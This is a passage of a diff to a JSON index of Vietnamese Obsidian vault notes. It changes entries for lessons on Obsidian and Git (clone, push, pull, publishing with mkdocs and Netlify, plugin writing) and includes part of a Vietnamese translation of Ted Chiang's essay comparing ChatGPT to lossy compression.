nhau/5.2 Tải mới toàn bộ kho dữ liệu (clone)", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "# Chỉnh sửa ghi chú\r\nIan Hayes\r\n![](https://obsidian.md/images/canvas/canvas-ian-hayes.png) \r\n\r\n# Dòng thời gian\r\nSIRvb\r\n![](https://obsidian.md/images/canvas/canvas-SlRvb.png) \r\n\r\n# Phân loại sinh vật\r\nSarai Rosario\r\n![](https://obsidian.md/images/canvas/canvas-lunaris13.png) \r\n\r\n# Kế hoạch xây dựng\r\nÇağlar Ongan\r\n![](https://obsidian.md/images/canvas/canvas-caglar-ongan.png)\r\n", + "Toàn bộ nội dung": "\n\n```git\ngit clone https://github.com/QuaCau-TheSphere/LandofSpheres\n```\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2023-10-06T09:09:00.000Z", + "Ngày cập nhật": "2024-08-31T10:04:00.000Z", "id": "8E" }, { - "Tiêu đề": "Excalidraw", - "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/💎 Giới thiệu về Obsidian/Theo tính năng của plugin/2. Hệ thống hoá thông tin/Excalidraw", + "Tiêu đề": "5.3 Đẩy dữ liệu mới lên (push)", + "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/5 Làm việc cùng nhau/5.3 Đẩy dữ liệu mới lên (push)", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "", + "Toàn bộ nội dung": "> [!Tip] Phím tắt\n> git push\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2023-10-06T09:09:00.000Z", + "Ngày cập nhật": "2024-08-31T10:04:00.000Z", "id": "8F" }, { - "Tiêu đề": "Tạo nút", - "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/💎 Giới thiệu về Obsidian/Theo tính năng của plugin/3. Truy xuất thông tin/Tạo nút", + "Tiêu đề": "5.4 Kéo dữ liệu mới xuống (pull)", + "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/5 Làm việc cùng nhau/5.4 Kéo dữ liệu mới xuống (pull)", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "", + "Toàn bộ nội dung": "\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2023-10-06T09:09:00.000Z", + "Ngày cập nhật": "2024-08-31T10:04:00.000Z", "id": "8G" }, { - "Tiêu đề": "Vẽ đồ thị", - "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/💎 Giới thiệu về Obsidian/Theo tính năng của plugin/3. Truy xuất thông tin/Vẽ đồ thị", + "Tiêu đề": "Tại sao không dùng Syncthing mà phải dùng Git để đồng bộ dữ liệu", + "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/5 Làm việc cùng nhau/Tại sao không dùng Syncthing mà phải dùng Git để đồng bộ dữ liệu", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" @@ -8576,29 +8575,29 @@ "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2023-10-06T09:09:00.000Z", + "Ngày tạo": "2023-06-02T03:46:00.000Z", + "Ngày cập nhật": "2024-03-02T14:11:00.000Z", "id": "8H" }, { - "Tiêu đề": "Chèn bản đồ", - "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/💎 Giới thiệu về Obsidian/Theo tính năng của plugin/4. Trình bày thông tin/Chèn bản đồ", + "Tiêu đề": "Tài liệu đọc thêm về Git", + "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/5 Làm việc cùng nhau/📖 Bài đọc thêm/Tài liệu đọc thêm về Git", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "> [!NOTE] Plugin sử dụng: Leaflet\r\n", + "Toàn bộ nội dung": "%%\nTrạng thái:: Chưa hoàn thành\n%%\n- [ ] Làm các bài tập trong [Learn Git Branching](https://learngitbranching.js.org/)\n- [ ] Đọc [Picturing Git: Conceptions and Misconceptions - BiTE Interactive](https://www.biteinteractive.com/picturing-git-conceptions-and-misconceptions/)\n- [ ] [GIT Workflow - Georgia Tech - Software Development Process - YouTube](https://www.youtube.com/watch?v=3a2x1iJFJWc&t=53s)\n\n![](https://res.cloudinary.com/practicaldev/image/fetch/s--WsP0wEBA--/c_imagga_scale,f_auto,fl_progressive,h_420,q_auto,w_1000/https://dev-to-uploads.s3.amazonaws.com/i/pvb1vbr5k5tirzqxhlp2.jpg) \n[The Thing About Git](https://tomayko.com/blog/2008/the-thing-about-git)\n\n- [ ] Hiểu được cách tạo một commit \n\t- [Stage. Commit. Push. A Git Story (Comic) - DEV Community 👩‍💻👨‍💻](https://dev.to/erikaheidi/stage-commit-push-a-git-story-comic-a37)\n\n\n![](https://imgs.xkcd.com/comics/git_commit_2x.png) \n\n# Tài liệu\n[Oh Shit, Git!?!](https://ohshitgit.com/)\n[Oh shit, git!](https://wizardzines.com/zines/oh-shit-git/)\n[6 Interactive Resources to Learn Git](https://www.makeuseof.com/git-learn-interactive-resources/)\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2023-10-06T09:09:00.000Z", + "Ngày cập nhật": "2024-08-31T10:04:00.000Z", "id": "8I" }, { - "Tiêu đề": "Kết nối dữ liệu với Trello, Notion, Discord", - "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/💎 Giới thiệu về Obsidian/Theo tính năng của plugin/4. Trình bày thông tin/Kết nối dữ liệu với Trello, Notion, Discord", + "Tiêu đề": "📖 Remote, upstream, origin", + "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/5 Làm việc cùng nhau/📖 Bài đọc thêm/📖 Remote, upstream, origin", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" @@ -8609,50 +8608,50 @@ }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2023-10-06T09:09:00.000Z", + "Ngày cập nhật": "2024-08-31T10:04:00.000Z", "id": "8J" }, { - "Tiêu đề": "Slide", - "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/💎 Giới thiệu về Obsidian/Theo tính năng của plugin/4. Trình bày thông tin/Slide", + "Tiêu đề": "GitHub Mkdocs Publisher", + "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/6 Lập web/GitHub Mkdocs Publisher", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "#### Tải và cài đặt plugin Advanced Slide\r\n\r\n---\r\n\r\nGreetings from second Slide\r\n", + "Toàn bộ nội dung": "%%\n#tt/chưa-hoàn-thành\n#file/bài-học\n%%\nKinh nghiệm tạo web của mình: Dùng plugin Enveloppe + mkdocs/lume + github page/Netlify\n\n2. Copy folder plugin\n3. Thêm share key\n\t```\n\tpip install py-obsidianmd\n\tpy '..\\..\\Code\\Scripts\\Thêm share vào YAML cho tất cả các file.py 'path_to_vault'\n\t```\n1. [Tạo template trên github](https://github.com/ObsidianPublisher/template-netlify-vercel/generate)\n4. clone template vừa tạo\n```\ngit clone \n```\n5. Sửa mkdocs.yml, thêm logo\n6. Tạo requirement.txt để Netlify sử dụng\n```\npip freeze > requirements.txt\n```\nNhững file nào ko muốn cho hiện lên thì bỏ `share: true` trong yaml đi, rồi dùng lệnh này\n![](https://i.imgur.com/hipQiyn.png)\n\n## Thêm subdomain\n- Cloudflare\n- Netlify", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2023-10-06T09:09:00.000Z", + "Ngày tạo": "2023-06-07T09:20:00.000Z", + "Ngày cập nhật": "2024-08-16T12:48:00.000Z", "id": "8K" }, { - "Tiêu đề": "Tạo bảng", - "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/💎 Giới thiệu về Obsidian/Theo tính năng của plugin/4. Trình bày thông tin/Tạo bảng", + "Tiêu đề": "Các bài học nâng cao", + "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/Các bài học nâng cao", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "> [!NOTE] Plugin sử dụng: Dataview\r\n\r\nBảng\r\n\r\n```dataview\r\nTABLE\r\n\tfile.ctime as \"Ngày tạo\", \r\n\tsplit(file.folder,\"/\")[1] as \"Mức độ\",\r\n\tfile.folder\r\nWHERE contains(file.name, \"📖\")\r\nSORT split(this.file.folder,\"/\")[1]\r\n```\r\n", + "Toàn bộ nội dung": "```ccard\ntype: folder_brief_live\n```\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2023-10-06T09:09:00.000Z", + "Ngày cập nhật": "2024-08-31T10:16:00.000Z", "id": "8L" }, { - "Tiêu đề": "Xuất bản trên web", - "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/💎 Giới thiệu về Obsidian/Theo tính năng của plugin/4. Trình bày thông tin/Xuất bản trên web", + "Tiêu đề": "1. Dùng plugin mẫu", + "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/Các bài học nâng cao/Viết plugin/1. Dùng plugin mẫu", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "\r\n", + "Toàn bộ nội dung": "\r\nhttps://marcus.se.net/obsidian-plugin-docs/\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", @@ -8661,14 +8660,14 @@ "id": "8M" }, { - "Tiêu đề": "Theo tính năng của plugin", - "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/💎 Giới thiệu về Obsidian/Theo tính năng của plugin/Theo tính năng của plugin", + "Tiêu đề": "2. Nhập môn TypeScript", + "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/Các bài học nâng cao/Viết plugin/2. Nhập môn TypeScript", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "# Theo tính năng của plugin Overview\r\n \r\n```ccard\r\ntype: folder_brief_live\r\n```\r\n \r\n\r\n![](https://github.com/twibiral/ObsiDOOM/raw/master/images/NeedForSpeed.png)\r\n", + "Toàn bộ nội dung": "https://www.executeprogram.com/courses\r\n\r\nhttps://roadmap.sh/javascript\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", @@ -8677,1049 +8676,1178 @@ "id": "8N" }, { - "Tiêu đề": "💎 Giới thiệu về Obsidian", - "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/💎 Giới thiệu về Obsidian/💎 Giới thiệu về Obsidian", + "Tiêu đề": "📖 Nodejs và Electron", + "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/Các bài học nâng cao/Viết plugin/📖 Nodejs và Electron", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "![](https://obsidian.md/images/screenshot-1.0-hero-combo.png) \n# Mục đích xây vault của bạn là gì?\n```dataview\nList\nfrom \"⚔️ Hướng dẫn Obsidian và Git/💎 Giới thiệu về Obsidian/Theo mục đích xây dựng vault\" \n```\n# Điểm mạnh và điểm yếu của Obsidian là gì?\n```dataview\nList rows.file.link\nfrom \"⚔️ Hướng dẫn Obsidian và Git/💎 Giới thiệu về Obsidian/Mô tả về Obsidian\" \nWhere !contains(file.name,\"⭐\" )\ngroup by split(file.folder,\"/\")[3] \n```\n\n# Có thể làm những trò gì trên Obsidian?\n```dataview\nList rows.file.link\nfrom \"⚔️ Hướng dẫn Obsidian và Git/💎 Giới thiệu về Obsidian/Theo tính năng của plugin\" \ngroup by split(split(file.folder,\"/\")[3], \"\\.\")[1] \n```\n", + "Toàn bộ nội dung": "%%\n#tt/chưa-hoàn-thành\n#file/bài-học\n%%\n# Bài tiếp theo : [[]] ➡️\n\n> [!tip] Mẹo\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-07-27T05:40:00.000Z", + "Ngày cập nhật": "2023-10-27T12:22:00.000Z", "id": "8O" }, { - "Tiêu đề": "Công nghệ mới đem lại thêm lựa chọn cho người làm chính sách", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Công nghệ thông tin/Công nghệ mới đem lại thêm lựa chọn cho người làm chính sách", + "Tiêu đề": "⚔️ Hướng dẫn Obsidian và Git", + "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: [What can a technologist do about climate change? A personal view.](https://worrydream.com/ClimateChange/)", + "Toàn bộ nội dung": "# Bài học chính\n```dataview\nlist \nfrom \"⚔️ Lớp Obsidian và Git\" \nWhere file.name=split(file.path,\"/\")[1] \n```\n\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-09-02T07:53:00.000Z", + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2023-10-17T10:30:00.000Z", "id": "8P" }, { - "Tiêu đề": "4 cấp độ phân tích dữ liệu: mô tả hiện tượng, lý giải nguyên nhân, dự đoán kết quả, đề xuất hành động", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Công nghệ thông tin/Dữ liệu, AI/4 cấp độ phân tích dữ liệu – mô tả hiện tượng, lý giải nguyên nhân, dự đoán kết quả, đề xuất hành động", + "Tiêu đề": "Obsidian lưu dữ liệu trên máy của người dùng", + "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/💎 Giới thiệu về Obsidian/Mô tả về Obsidian/Obsidian lưu dữ liệu trên máy của người dùng", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \nNguồn:: [04 giai đoạn phân tích dữ liệu - Descriptive, Diagnostic, Predictive & Prescriptive Analytics](https://blog.tomorrowmarketers.org/giai-doan-phan-tich-du-lieu/)", + "Toàn bộ nội dung": "Việc **dữ liệu nằm trên máy của bạn** có nghĩa là nó là của bạn và luôn sẵn sàng chờ bạn. Bạn không còn phải lo về vấn đề bảo mật dữ liệu, bởi vì nó không có được chuyển qua một máy chủ nào hết. Bạn không cần phải lo lắng mỗi lần ra ngoài đường hay rớt mạng, vì bạn không phải tải dữ liệu về để làm việc. Việc [[Obsidian lưu dữ liệu ở định dạng đơn giản|dữ liệu được lưu ở định dạng đơn giản]] nghĩa là bạn không còn gặp khó khăn trong việc chuyển đổi định dạng. Điều này sẽ hữu ích nếu một ngày bạn chán Obsidian và muốn dùng công cụ khác, hoặc nếu Obsidian còn thiếu chức năng nào đó và bạn cần dùng công cụ khác để bổ sung. Một nền tảng có thể cung cấp tính năng xuất dữ liệu người dùng, và mỗi định dạng khác nhau sẽ có những phần mềm chuyên dụng để đọc nó. Nhưng nếu bạn còn phải tải về dữ liệu của mình, hoặc còn phải sử dụng một phần mềm riêng để có thể đọc được dữ liệu của mình, thì về lý thuyết, bạn sẽ còn chịu sự chi phối của nền tảng/phần mềm đó. Còn với triết lý này, thì bạn mới thực sự làm chủ dữ liệu của mình. [[Bạn có quyền chỉnh sửa dữ liệu của mình dưới bất kỳ hình thức nào]] \n\n\n- [[Khả năng tuỳ biến của Obsidian rất cao]]. [[Có thể dùng kết hợp Obsidian với các giải pháp xử lý dữ liệu khác]]\n- [[Để một hệ sinh thái hoạt động thực sự hiệu quả thì lượng năng lượng dành ra để nắm bắt tín hiệu của môi trường phải giảm tới mức gần như bằng 0]]\n- [[Obsidian miễn phí, không có chức năng nào phải trả tiền hay tính theo đầu người]] \n\nĐiều này khiến cho [[Obsidian cực kỳ dễ mở rộng tính năng]]\n\nTuy nhiên, [[Có sự đánh đổi giữa sự dễ dàng tuỳ biến dữ liệu của mình và sự dễ dàng hợp tác qua mạng]] \n\n\n[[Việc lưu trữ dữ liệu tại máy cá nhân và ở định dạng đơn giản sẽ giúp người dùng quen thuộc hơn với việc lập trình]] \n[[Việc trung tâm hoá việc lưu trữ dữ liệu trên máy chủ sẽ lấy đi autonomy và agency của người dùng cuối]]\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-09-02T07:38:00.000Z", + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2024-09-02T08:24:00.000Z", "id": "8Q" }, { - "Tiêu đề": "AI giống như công nghệ tua bin. Gắn nó với xe hơi thì không sử dụng được. Nhưng nếu có thể có thêm những công nghệ mới thì có thể thành máy bay", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Công nghệ thông tin/Dữ liệu, AI/AI/AI giống như công nghệ tua bin. Gắn nó với xe hơi thì không sử dụng được. Nhưng nếu có thể có thêm những công nghệ mới thì có thể thành máy bay", + "Tiêu đề": "Obsidian lưu dữ liệu ở định dạng đơn giản", + "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/💎 Giới thiệu về Obsidian/Mô tả về Obsidian/Obsidian lưu dữ liệu ở định dạng đơn giản", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: ![The Potential for AI in Science and Mathematics - Terence Tao - YouTube](https://youtu.be/_sTDSO74D8Q)", + "Toàn bộ nội dung": "[[Đơn vị nhỏ nhất của Obsidian là file, không phải block]]. Ưu điểm của block là [[Giao diện block cho phép người dùng linh hoạt hơn mà vẫn giữ được sự cấu trúc]]. Tuy nhiên nếu chịu khó dùng plugin và codeblock thì cũng có thể đạt được ưu điểm này. Nhược điểm của block là [[Khó có thể copy dữ liệu dạng block giữa các app khác nhau]], trong khi [[Có thể dùng kết hợp Obsidian với các giải pháp xử lý dữ liệu khác]]\n\nCũng chính vì lý do này, nên [[Obsidian không mạnh về quản lý tác vụ]], vì [[Dữ liệu dưới dạng cơ sở dữ liệu đảm bảo các bên tham gia nhập dữ liệu cùng một định dạng]]\n\n[[⚔️ Hướng dẫn Obsidian và Git/💎 Giới thiệu về Obsidian/Mô tả về Obsidian/Văn bản thuần là dạng tổ chức dữ liệu đơn giản nhất]] \n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2024-08-11T16:19:00.000Z", - "Ngày cập nhật": "2024-09-02T07:38:00.000Z", + "Ngày tạo": "2023-06-30T05:40:00.000Z", + "Ngày cập nhật": "2024-09-05T15:49:00.000Z", "id": "8R" }, { - "Tiêu đề": "AI gần như không có khả năng tự sửa lỗi code", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Công nghệ thông tin/Dữ liệu, AI/AI/AI gần như không có khả năng tự sửa lỗi code", + "Tiêu đề": "Văn bản thuần là dạng tổ chức dữ liệu đơn giản nhất", + "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/💎 Giới thiệu về Obsidian/Mô tả về Obsidian/Văn bản thuần là dạng tổ chức dữ liệu đơn giản nhất", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: [[2306.09896] Is Self-Repair a Silver Bullet for Code Generation?](https://arxiv.org/abs//2306.09896)\n\n[[AI không tất định mà tạo sinh kết quả mỗi lần mỗi khác dù với cùng một câu nhập]] ", + "Toàn bộ nội dung": "Khái niệm:: \r\n\r\n![Plain Text Data Formats: CSV, JSON, XML, HTML, Fixed-Width, and more... compared and explained - YouTube](https://youtu.be/6caucCsePqs?si=coTpJ7unQaKEql5L)\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-09-02T07:38:00.000Z", + "Ngày cập nhật": "2023-10-06T09:09:00.000Z", "id": "8S" }, { - "Tiêu đề": "AI không tất định mà tạo sinh kết quả mỗi lần mỗi khác dù với cùng một câu nhập", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Công nghệ thông tin/Dữ liệu, AI/AI/AI không tất định mà tạo sinh kết quả mỗi lần mỗi khác dù với cùng một câu nhập", + "Tiêu đề": "Có thể dùng kết hợp Obsidian với các giải pháp xử lý dữ liệu khác", + "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/💎 Giới thiệu về Obsidian/Mô tả về Obsidian/Điểm mạnh của Obsidian/Có thể dùng kết hợp Obsidian với các giải pháp xử lý dữ liệu khác", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: [Three types of AI-assisted programmers - Stack Overflow](https://stackoverflow.blog/2023/12/11/three-types-of-ai-assisted-programmers/)", + "Toàn bộ nội dung": "[[Obsidian cực kỳ dễ mở rộng tính năng]]\r\n Git:\r\n - [[Git giúp ta du hành thời gian]]\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-09-02T07:38:00.000Z", - "id": "8T" + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2023-10-06T09:09:00.000Z", + "id": "8T" }, { - "Tiêu đề": "AI là định dạng ảnh mờ của web", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Công nghệ thông tin/Dữ liệu, AI/AI/AI là định dạng ảnh mờ của web", + "Tiêu đề": "Cộng đồng Obsidian rất mạnh", + "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/💎 Giới thiệu về Obsidian/Mô tả về Obsidian/Điểm mạnh của Obsidian/Cộng đồng Obsidian rất mạnh", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "CHATGPT LÀ ĐỊNH DẠNG ẢNH MỜ CỦA WEB/MẠNG INTERNET\n\nChatbot của OpenAI diễn đạt lại thông tin, trong khi Google cho ta các trích dẫn chính xác thông tin. Chúng ta thích cái nào hơn?\n\nTác giả: Ted Chiang\n\nNhung Nhung dịch.\n\nNgày 9 tháng 2 năm 2023\n\nNote: Web dùng trong bài có thể hiểu nôm na là nội dung trên khắp cõi mạng Internet.\n\n----\n\nVào năm 2013, các công nhân tại một công ty xây dựng của Đức để ý thấy một chuyện kỳ lạ với chiếc máy photocopy Xerox của mình: khi họ photo sơ ​​đồ mặt bằng của một ngôi nhà, bản sao máy tạo ra lại khác với bản gốc ở một chi tiết nhỏ tinh vi nhưng đáng kể. Trong bản sơ đồ mặt bằng gốc, mỗi phòng trong số ba phòng của ngôi nhà đều có kèm một hình chữ nhật ghi rõ diện tích của nó: các phòng lần lượt là 14,13 và 21,11 và 17,42 mét vuông. Tuy nhiên, trong bản sao, cả ba phòng đều được dán nhãn diện tích rộng 14,13 mét vuông. Công ty đã liên hệ với nhà khoa học máy tính David Kriesel để điều tra kết quả photo tưởng chừng hết sức phi lý này. Họ cần một nhà khoa học máy tính, vì máy photocopy Xerox hiện đại không sử dụng quy trình xerographic vật lý phổ biến vào những năm 1960. Thay vào đó, nó quét tài liệu bằng kỹ thuật số, sau đó in file (file) hình ảnh kết quả. Thêm nữa, gần như mọi file hình ảnh kỹ thuật số nó quét ra đều được nén để tiết kiệm dung lượng, và chính ở đây, đáp án cho bí ẩn này bắt đầu tự hiển hiện.\n\nViệc nén một file cần hai bước: đầu tiên là mã hóa, trong đó file được chuyển đổi thành định dạng tinh gọn hơn, và sau đó là giải mã, là đảo ngược quá trình ban đầu. Nếu file được khôi phục giống hệt với file gốc, thì quá trình nén này được gọi là không-mất-dữ-liệu (lossless): tức là không có thông tin nào bị tỉa bỏ. Ngược lại, nếu file được khôi phục chỉ là file gần đúng với file gốc, quá trình nén được mô tả là có-mất-dữ-liệu (lossy): tức một số thông tin đã bị tỉa bỏ và hiện không thể khôi phục được. Nén lossless thường được sử dụng cho các file văn bản và chương trình máy tính, bởi vì đây là lĩnh vực mà chỉ cần một ký tự không chính xác cũng có khả năng là thảm họa. Nén lossy thường được sử dụng cho ảnh, âm thanh và video trong các trường hợp không cần độ chính xác tuyệt đối. Thông thường, chúng ta hiếm khi để ý thấy một hình ảnh, bài hát, hoặc phim không được sao chép hoàn hảo. Mức độ thiếu trung thực chỉ trở nên rõ ràng khi các file bị nén rất chặt. Khi đó, chúng ta sẽ để ý thấy cái được gọi là các biến dạng nén/tạo tác nén (compression artifacts): là sự mờ nhoè của các file JPEG và MPEG nhỏ nhất, hoặc của file MP3 tốc độ bit thấp.\n\nMáy photocopy Xerox sử dụng định dạng nén lossy được gọi là JBIG 2, được thiết kế cho hình ảnh đen trắng. Để tiết kiệm dung lượng, máy photocopy xác định các vùng trông giống nhau trong hình ảnh và lưu trữ một bản sao duy nhất cho tất cả các vùng đó; khi file được giải nén, nó sẽ sử dụng bản sao đó nhiều lần để tái tạo lại hình ảnh. Hóa ra, máy photocopy này đã đánh giá các nhãn ô vuông ghi diện tích của các phòng là giống nhau, nên nó chỉ cần lưu một trong số chúng—14,13—và nó đã sử dụng lại nhãn đó cho cả ba phòng khi in sơ đồ nhà. (con máy ngu see hihi)\n\nVấn đề không nằm ở chuyện máy photocopy Xerox sử dụng định dạng nén lossy thay vì lossless. Vấn đề là các máy photocopy đã làm giảm chất lượng hình ảnh một cách tinh vi, với các biến dạng nén mà ta khó nhận ra ngay lập tức. Nếu máy photocopy chỉ tạo ra các bản in mờ nhoè, mọi người sẽ biết rằng chúng không phải là bản sao chính xác của bản gốc. Vấn đề là ở chỗ máy photocopy này tạo ra những con số, chi tiết rõ nét, đọc được, nhưng không chính xác; nó làm cho các bản sao tưởng chừng chính xác, nhưng thực tế là sai. (Vào năm 2014, Xerox đã phát hành một bản vá để khắc phục lỗi này.)\n\nTôi nghĩ rằng bài học này từ máy photocopy Xerox đáng được cân nhắc hôm nay, khi chúng ta xem xét ChatGPT của OpenAI và các chương trình tương tự khác, mà các nhà nghiên cứu AI gọi là mô hình ngôn ngữ lớn (large language models)​​. Nhìn qua thì giữa một máy photocopy và một mô hình ngôn ngữ lớn có thể không có tương đồng rõ rệt — nhưng hãy xem xét tình huống sau. Hãy tưởng tượng rằng bạn sắp mất quyền truy cập Internet vĩnh viễn. Để chuẩn bị, bạn dự định tạo một bản sao nén của tất cả văn bản trên Web để bạn có thể lưu trữ nó trong một máy chủ riêng. Thật không may, máy chủ riêng của bạn chỉ trữ được 1% dung lượng của toàn khối thông tin; bạn không thể sử dụng thuật toán nén lossless nếu bạn muốn nhét vừa hết mọi thứ. Thay vào đó, bạn viết một thuật toán lossy, rà quét các phần giống nhau về mặt thống kê trong toàn khối văn bản nội dung và lưu trữ chúng ở định dạng file chuyên biệt. Giả sử bạn có đủ năng lực máy tính vô hạn để thực hiện nhiệm vụ này, vì thế, thuật toán của bạn có thể xác định được hết các nội dung có sắc thái riêng giống nhau về mặt thống kê, và nhờ đó, bạn đạt được tỷ lệ nén mong muốn là một trăm trên một.\n\nGiờ đây, chuyện mất khả năng truy cập Internet không còn quá khủng khiếp; bạn đã có tất cả thông tin trên Web được lưu trữ trên máy chủ của mình. Vấn đề duy nhất là, bởi vì văn bản đã được nén xuống rất nhiều, bạn không thể mò lại thông tin bằng cách tìm kiếm một câu trích dẫn chính xác; bạn sẽ không bao giờ có được kết quả khớp chính xác, vì nội dung được lưu trữ không phải theo đúng các từ. Để giải quyết vấn đề này, bạn tạo một giao diện tiếp nhận các truy vấn của bạn dưới dạng câu hỏi, và 